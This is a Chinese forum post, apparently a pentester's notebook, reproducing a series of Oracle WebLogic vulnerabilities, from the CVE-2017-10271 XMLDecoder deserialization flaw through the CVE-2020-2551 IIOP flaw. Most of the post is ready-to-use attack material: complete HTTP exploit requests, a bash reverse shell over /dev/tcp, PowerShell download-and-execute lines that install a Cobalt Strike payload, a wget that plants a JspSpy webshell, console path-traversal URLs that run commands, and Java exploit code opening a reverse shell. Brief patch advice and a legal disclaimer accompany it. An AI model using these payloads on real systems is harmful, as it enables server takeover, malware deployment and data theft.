电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 2426 人浏览分享

Weblogic中间件漏洞复现笔记

[复制链接]
2426 0
本帖最后由 zhaorong 于 2021-6-25 12:02 编辑

*本文中涉及到的相关漏洞已报送厂商并得到修复 本文仅限技术研究与讨论 严禁用于非法用途
否则产生的一切后果自行承担。


Weblogic渗透总结

默认端口:

7001

1、XMLDecoder反序列化漏洞(CVE-2017-10271 & CVE-2017-3506)

漏洞简介:

Weblogic的WLS Security组件对外提供webservice服务 其中使用了XMLDecoder来解析用
户传入的XML数据 在解析的过程中出现反序列化漏洞。

验证漏洞:

访问 /wls-wsat/CoordinatorPortType

QQ截图20210625104730.png

只要在wls-wsat包中的Uri都受影响 可以在web.xml中查看所有受影响的Uri
  1. C:\Oracle\Middleware\user_projects\domains\base_domain\servers\Adm
  2. inServer\tmp\_WL_internal\wls-wsat\54p17w\war\WEB-INF\web.xml
复制代码

默认受到影响的Uri:
  1. /wls-wsat/CoordinatorPortType
  2. /wls-wsat/RegistrationPortTypeRPC
  3. /wls-wsat/ParticipantPortType
  4. /wls-wsat/RegistrationRequesterPortType
  5. /wls-wsat/CoordinatorPortType11
  6. /wls-wsat/RegistrationPortTypeRPC11
  7. /wls-wsat/ParticipantPortType11
  8. /wls-wsat/RegistrationRequesterPortType11
复制代码

复现:

构造数据包发送 其中Content-Type需要等于 text/xml 否则可能导致XMLDecoder不解析。
  1. POST /wls-wsat/CoordinatorPortType HTTP/1.1
  2. Host: 192.168.253.94:7001
  3. Accept-Encoding: gzip, deflate
  4. Accept: */*
  5. Accept-Language: en
  6. User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
  7. Connection: close
  8. Content-Type: text/xml
  9. Content-Length: 642

  10. <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  11. <soapenv:Header>
  12. <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
  13. <java><java version="1.4.0" class="java.beans.XMLDecoder">
  14. <object class="java.io.PrintWriter">
  15. <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
  16. <void method="println">
  17. <string>
  18. <![CDATA[
  19. <% out.print("hello"); %>
  20. ]]>
  21. </string>
  22. </void>
  23. <void method="close"/>
  24. </object></java></java>
  25. </work:WorkContext>
  26. </soapenv:Header>
  27. <soapenv:Body/>
  28. </soapenv:Envelope>
复制代码

QQ截图20210625105008.png

状态码返回500 成功写入文件

QQ截图20210625105145.png

验证webshell

使用Linux反弹shell:
  1. [code]POST /wls-wsat/CoordinatorPortType HTTP/1.1
  2. Host: your-ip:7001
  3. Accept-Encoding: gzip, deflate
  4. Accept: */*
  5. Accept-Language: en
  6. User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
  7. Connection: close
  8. Content-Type: text/xml
  9. Content-Length: 633
  10. <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soa
  11. p/envelope/"> <soapenv:Header>
  12. <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
  13. <java version="1.4.0" class="java.beans.XMLDecoder">
  14. <void class="java.lang.ProcessBuilder">
  15. <array class="java.lang.String" length="3">
  16. <void index="0">
  17. <string>/bin/bash</string>
  18. </void>
  19. <void index="1">
  20. <string>-c</string>
  21. </void>
  22. <void index="2">
  23. <string>bash -i &gt;&amp; /dev/tcp/10.0.0.1/21 0&gt;&amp;1</string>
  24. </void>
  25. </array>
  26. <void method="start"/></void>
  27. </java>
  28. </work:WorkContext>
  29. </soapenv:Header>
  30. <soapenv:Body/>
  31. </soapenv:Envelope>
复制代码

windows上线CS:
  1. POST /wls-wsat/CoordinatorPortType HTTP/1.1
  2. Host: 192.168.109.159:7001
  3. Accept-Encoding: gzip, deflate
  4. Accept: */*
  5. Accept-Language: en
  6. User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
  7. Connection: close
  8. Content-Type: text/xml
  9. Content-Length: 709

  10. <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/
  11. soap/envelope/"> <soapenv:Header>
  12. <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
  13. <java version="1.4.0" class="java.beans.XMLDecoder">
  14. <void class="java.lang.ProcessBuilder">
  15. <array class="java.lang.String" length="3">
  16. <void index="0">
  17. <string>powershell</string>
  18. </void>
  19. <void index="1">
  20. <string>-Command</string>
  21. </void>
  22. <void index="2">
  23. <string>(new-object System.Net.WebClient).DownloadFile('http://192.168.109.9
  24. /test.exe','test.exe');start-process test.exe</string>
  25. </void>
  26. </array>
  27. <void method="start"/></void>
  28. </java>
  29. </work:WorkContext>
  30. </soapenv:Header>
  31. <soapenv:Body/>
  32. </soapenv:Envelope>
复制代码

kali开启一个HTTP服务

QQ截图20210625105501.png

998.png

997.png

成功上线CS

上线powershell-windows的代码:
  1. powershell (new-object System.Net.WebClient).Downlo
  2. adFile('http://192.168.109.9/test.exe','test.exe');start-p
  3. rocess test.exe
复制代码

CVE-2017-3506分析利用:

漏洞简介:

CVE-2017-3506的补丁添加了验证函数 验证Payload中的节点是否存在object标签 将object
换成void就可以绕过此补丁产生了CVE-2017-10271

复现操作:

构造新的数据包发送。
复制代码

996.png

992.png

  1. http://192.168.109.159:7001/bea_wls_internal/testt.jsp
复制代码

成功上传文件。

wls-wsat反序列化远程代码执行漏洞(CVE-2019-2725)

漏洞介绍:

此漏洞实际上是CVE-2017-10271的又一入口 CVE-2017-3506的补丁过滤了object;CVE-2017-10271的
补丁过滤了new,method标签 且void后面只能跟index array后面只能跟byte类型的class;CVE-2019-27
25的补丁过滤了class 限制了array标签中的byte长度。

影响组件:

bea_wls9_async_response.war、wls-wsat.war

影响范围:

10.3.6.0、12.1.3.0

验证漏洞:

访问 /_async/AsyncResponseService,返回200即存在 返回404则不存在:

991.png

只要在bea_wls9_async_response包中的Uri都受影响 可以在web.xml中查看所有受影响的Uri,路径如下:
  1. C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tm
  2. p\_WL_internal\bea_wls9_async_response\8tpkys\war\WEB-INF\web.xml
复制代码

默认受到影响的Uri如下:
  1. /_async/AsyncResponseService
  2. /_async/AsyncResponseServiceJms
  3. /_async/AsyncResponseServiceHttps
复制代码

复现操作:

抓包并修改数据包如下:
  1. POST /_async/AsyncResponseService HTTP/1.1
  2. Host:192.168.109.159:7001
  3. Upgrade-Insecure-Requests: 1
  4. User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36
  5. (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
  6. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/we
  7. bp,image/apng,*/*;q=0.8
  8. Accept-Encoding: gzip, deflate
  9. Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
  10. Connection: close
  11. Content-Length: 852
  12. Accept-Encoding: gzip, deflate
  13. SOAPAction:
  14. Accept: */*
  15. User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
  16. Connection: keep-alive
  17. content-type: text/xml
  18. cmd:whoami

  19. <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/enve
  20. lope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
  21. xmlns:asy="http://www.bea.com/async/AsyncResponseService">
  22. <soapenv:Header>
  23. <wsa:Action>xx</wsa:Action>
  24. <wsa:RelatesTo>xx</wsa:RelatesTo>
  25. <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
  26. <void class="java.lang.ProcessBuilder">
  27. <array class="java.lang.String" length="3">
  28. <void index="0">
  29. <string>/bin/bash</string>
  30. </void>
  31. <void index="1">
  32. <string>-c</string>
  33. </void>
  34. <void index="2">
  35. <string>wget http://192.168.109.133/JspSpy.jsp.txt -O servers/Admi
  36. nServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/dayutt.jsp
  37. </string>
  38. </void>
  39. </array>
  40. <void method="start"/></void>
  41. </work:WorkContext>
  42. </soapenv:Header><soapenv:Body>
  43. <asy:onAsyncDelivery/>
  44. </soapenv:Body></soapenv:Envelope>
复制代码

windows上线CS

源码利用POC如下:
  1. POST /_async/AsyncResponseService HTTP/1.1
  2. Host:192.168.109.159:7001
  3. Upgrade-Insecure-Requests: 1
  4. User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like
  5. Gecko) Chrome/71.0.3578.98 Safari/537.36
  6. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
  7. Accept-Encoding: gzip, deflate
  8. Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
  9. Connection: close
  10. Content-Length: 852
  11. Accept-Encoding: gzip, deflate
  12. SOAPAction:
  13. Accept: */*
  14. User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
  15. Connection: keep-alive
  16. content-type: text/xml
  17. cmd:whoami

  18. <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xml
  19. ns:wsa="http://www.w3.org/2005/08/addressing"
  20. xmlns:asy="http://www.bea.com/async/AsyncResponseService">
  21. <soapenv:Header>
  22. <wsa:Action>xx</wsa:Action>
  23. <wsa:RelatesTo>xx</wsa:RelatesTo>
  24. <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
  25. <void class="java.lang.ProcessBuilder">
  26. <array class="java.lang.String" length="3">
  27. <void index="0">
  28. <string>powershell</string>
  29. </void>
  30. <void index="1">
  31. <string>-Command</string>
  32. </void>
  33. <void index="2">
  34. <string>(new-object System.Net.WebClient).DownloadFile('http://192.168.10
  35. 9.9/test1.exe','test1.exe');start-process test1.exe
  36. <string>
  37. </void>
  38. </array>
  39. <void method="start"/></void>
  40. </work:WorkContext>
  41. </soapenv:Header><soapenv:Body>
  42. <asy:onAsyncDelivery/>
  43. </soapenv:Body></soapenv:Envelope>
复制代码

WLS Core Components反序列化命令执行漏洞(CVE-2018-2628)

漏洞成因:

通过T3协议触发。

影响范围:

10.3.6.0、12.1.3.0、12.2.1.2、12.2.1.3

验证漏洞:

使用CVE-2018-2628-poc-验证漏洞 需要python2环境 返回下图说明存在此漏洞。

990.png


复现操作:

899.png

898.png

成功上传wlscmd.jsp文件

897.png

  1. http://ip:port/bea_wls_internal/wlscmd.jsp
复制代码

成功交互控制。

安全建议:

过滤T3协议 连接筛选器选择
  1. weblogic.security.net.ConnectionFilterImpl
复制代码

2008.png

保存后重启即可。

任意文件上传漏洞(CVE-2018-2894)

漏洞简介:

Weblogic Web Service Test Page中一处任意文件上传漏洞 Web Service TestPage
在 生产模式 下默认不开启 所以该漏洞存在限制。

影响范围:

10.3.6、12.1.3、12.2.1.2、12.2.1.3

复现环境:

12版本 前面以及现在的默认安装是 开发模式  生产模式 下没有这两处上传点。

复现操作:
  1. /ws_utc/begin.do
  2. /ws_utc/config.do
复制代码

访问 /ws_utc/config.do,设置Work Home Dir为ws_utc应用的静态文件css目录
  1. C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\servers\Adm
  2. inServer\tmp\_WL_internal\com.oracle.webservices.wls.ws-testclient-app-wls_12.1.3\cm
  3. prq0\war\css
复制代码

9.png

8.png

提交时抓包 找到时间戳

7.png

然后访问如下路径 即可执行webshell
  1. http://127.0.0.1:7001/ws_utc/css/config/keystore/时间戳_文件名
复制代码

6.png


成功上传。

修复建议:
1.启动生产模式后Config.do页面登录授权后访问。
2.升级到最新版本。
3.IPS等防御产品加入相应的特征。

Weblogic SSRF漏洞(CVE-2014-4210)

影响范围:

10.0.2.0、10.3.6.0

验证漏洞:

访问 /uddiexplorer/SearchPublicRegistries.jsp 能正常访问 则可能存在此漏洞。

5.png

复现环境:

vulhub

复现操作:

点击Search并抓包 将POST请求改成GET。

4.png

参数operator为SSRF的可控参数 所以此处存在SSRF漏洞。将其更改为开放的端口
如修改为127.0.0.1:7001,将返回error

1,不存在的端口

3.png

2,主机存活且端口存在

2.png

  1. An error has occurred<br>
  2. weblogic.uddi.client.structures.exception.XML_SoapException: Tried all: &#39;1&#39; addresses
  3. but could not connect over HTTP to server: &#39;127.0.0.1&#39;, port: &#39;8080&#39;
复制代码

3,可访问的端口(且该端口是非http协议)

1.png

Weblogic弱口令&后台getshell

进入后台后上传部署war包

0.png

Weblogic Console HTTP协议远程代码执行漏洞(CVE-2020-14882/3)

漏洞简介:

Oracle Weblogic Server远程代码执行漏洞 未经身份验证的远程攻击者可通过构造特殊的HTTPGET请求
结合CVE-2020-14883漏洞进行利用直接接管Weblogic Server Console 并执行代码。

影响范围:

10.3.6.0、12.1.3.0、12.2.1.3、12.2.1.4、14.1.1.0

复现环境:

10.3.6.0

复现操作:

POC:
  1. http://192.168.109.159:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb
  2. =true&_pageLabel=AppDeploymentsControlPage&handle=com.be
  3. a.console.handles.JMXHandle%28%22com.bea%3AName%3Dbas
  4. e_domain%2CType%3DDomain%22%29
复制代码

00.png

CVE-2020-14882代码执行漏洞

POC:
  1. http://192.168.109.159:7001/console/images/%252E%252E%252Fconsole.portal?_nfp
  2. b=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.
  3. mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27touch /tmp/test%27);%22);
复制代码

执行POC后 页面会显示404 但是执行成功。

000.png

windows弹框poc上线CS
  1. http://192.168.109.159:7001/console/css/%252E%252E%252Fconsole.portal?_nfpb=
  2. true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.s
  3. pringframework.context.support.FileSystemXmlApplicationCon
  4. text("http://192.168.109.9:8001/poc-calc.xml")
复制代码

poc-calc.xml:
  1. powershell (new-object System.Net.WebClient).DownloadFil
  2. e('http://192.168.109.9:8001/test.exe','test.exe');start
  3. -process test.exe
复制代码

0000.png

22.png

39.png

成功上线CS。

IIOP反序列化漏洞(CVE-2020-2551)

影响范围:
  1. Oracle WebLogic Server 10.3.6.0.0
  2. Oracle WebLogic Server 12.1.3.0.0
  3. Oracle WebLogic Server 12.2.1.3.0
  4. Oracle WebLogic Server 12.2.1.4.0
复制代码

复现操作:

需要利用以下四个文件:

QQ截图20210625115113.png

1,编译exp.java

QQ截图20210625115150.png

  1. javac exp.java -source 1.6 -target 1.6
复制代码

2,开启一个web服务

5238.png

  1. python -m SimpleHTTPServer 80
复制代码

3,marshalsec开启一个恶意的RMI服务

999.png

  1. java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMI
  2. RefServer "http://192.168.109.9/#exp" 1099
复制代码

4,漏洞利用

36.png

  1. java -jar weblogic_CVE_2020_2551.jar 192.168.253.94 7001 rmi://192.168.109.9:1099/exp
复制代码

6.png

成功弹框!

修改exp的java代码即可完成上线CS。
  1. import java.io.IOException;
  2. public class Poc {
  3. static{
  4.   try {
  5.    java.lang.Runtime.getRuntime().exec(new String[]{"/bin/b
  6. ash","-c","bash -i >& /dev/tcp/x.x.x.x/port 0>&1"});
  7.   } catch (IOException e) {
  8.    // TODO Auto-generated catch block
  9.    e.printStackTrace();
  10.   }
  11. }
  12. public static void main(String[] args) {
  13.   
  14. }
  15. }
复制代码

修复建议:
1. 修改默认端口号,假设修改为8080,在config.xml中添加
   <listen-port>8080</listen-port>
2. 更新补丁。
3. 用户可通过控制T3协议的访问来临时阻断该漏洞的攻击。(需相关人员评估风险)。
```~~~~

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.